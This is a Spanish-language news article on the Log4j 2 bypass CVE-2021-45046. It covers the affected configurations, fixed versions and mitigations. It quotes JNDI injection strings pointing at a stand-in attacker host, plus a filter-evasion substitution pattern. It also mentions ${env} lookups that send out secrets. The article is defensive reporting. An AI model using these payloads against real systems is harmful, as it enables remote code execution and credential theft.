Hace poco se dió a conocer la noticia de que fue identificada otra vulnerabilidad en la implementación de búsquedas JNDI en la biblioteca Log4j 2 (CVE-2021-45046), que se manifiesta a pesar de las correcciones agregadas en la versión 2.15 e independientemente del uso de la configuración de protección «log4j2.noFormatMsgLookup».

El problema es notablemente peligroso principalmente para versiones anteriores de Log4j 2, protegidas con la bandera «noFormatMsgLookup», ya que permite eludir la protección contra vulnerabilidades pasadas (Log4Shell, CVE-2021-44228), que le permite ejecutar su código en el servidor.

Para los usuarios de la versión 2.15, la operación se limita a crear condiciones para la terminación anormal de la aplicación por agotamiento de los recursos disponibles.

La vulnerabilidad solo afecta a los sistemas que utilizan la búsqueda de contexto, como ${ctx: loginId}, o plantillas de mapa de contexto de subprocesos (MDC), como% X,% mdc y% MDC, para el registro.

La operación se reduce a la creación de condiciones para enviar datos que contienen sustituciones de JNDI al registro cuando se utilizan consultas de contexto o plantillas MDC en la aplicación, que determinan las reglas para formatear la salida al registro.

Los investigadores de LunaSec señalaron que para las versiones de Log4j inferiores a 2.15, esta vulnerabilidad se puede usar como un nuevo vector para un ataque Log4Shell, lo que lleva a la ejecución del código si las expresiones ThreadContext se usan al enviar al registro, que incluye datos externos, independientemente de si la bandera está encendida para protección. «noMsgFormatLookups» o plantilla «% m {nolookups}».

La omisión de protección se reduce al hecho de que en lugar de la sustitución directa «$ {jndi:ldap://example.com/a}», esta expresión se sustituye por el valor de una variable intermedia utilizada en las reglas para formatear la salida a el registro.

Por ejemplo, si se utiliza la solicitud de contexto $ {ctx:apiversion} cuando se envía al registro, el ataque se puede llevar a cabo sustituyendo los datos «$ {jndi: ldap: //attacker.com/a}» en el valor escrito en la variable de desvío.

En la versión Log4j 2.15, la vulnerabilidad se puede utilizar para realizar ataques DoS al pasar valores a ThreadContext, lo que genera un bucle en el procesamiento del patrón de formato de salida.

Para poder tratar de dar solución a los problemas encontrados se han publicado las actualizaciones 2.16 y 2.12.2 para bloquear la vulnerabilidad. En la rama Log4j 2.16, además de las correcciones implementadas en la versión 2.15 y la vinculación de solicitudes JNDI LDAP a «localhost», por defecto la funcionalidad JNDI está completamente deshabilitada y se ha eliminado el soporte para plantillas de sustitución de mensajes.

Como solución alternativa, se sugiere eliminar la clase JndiLookup de la ruta de clases (por ejemplo, «zip -q -d log4j-core – *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class»).

En cuanto a las acciones tomadas por los diferentes proyectos:

Para Nginx, basado en el módulo njs, se ha preparado un script que bloquea la transmisión de expresiones JNDI en encabezados HTTP, URI y el cuerpo de las solicitudes POST. El script se puede utilizar en servidores frontend para proteger backends.
Para HAProxy , se proporcionan reglas de configuración para bloquear el funcionamiento de CVE-2021-44228.

Además de los anteriormente identificados ataques dirigidos a la formación de una red de bots para criptomoneda la minería, no fueron hechos de la explotación de una vulnerabilidad en Log4J 2 para difundir ransomware malicioso cifrar el contenido de los discos y que requieren un rescate para el descifrado.

Checkpoint ha identificado alrededor de 60 variantes diferentes de exploits utilizados para los ataques.

CloudFlare informó que los intentos de probar la manifestación de una vulnerabilidad en Log4j se identificaron el 1 de diciembre, es decir, 8 días antes de la divulgación pública del problema. Los primeros intentos de explotar la vulnerabilidad se registraron solo 9 minutos después de que se divulgara la información. El informe de CloudFlare también menciona el uso de sustituciones como «$ {env: FOO: -j} ndi: $ {lower: L} da $ {lower: P}» para omitir la máscara «jndi: ldap» y el uso de expresiones de ataque $ {env} para transferir información sobre contraseñas y claves de acceso almacenadas en variables de entorno a un servidor externo, y expresiones $ {sys} para recopilar información sobre el sistema.

Finalmente si estás interesado en poder conocer más al respecto puedes consultar el siguiente enlace.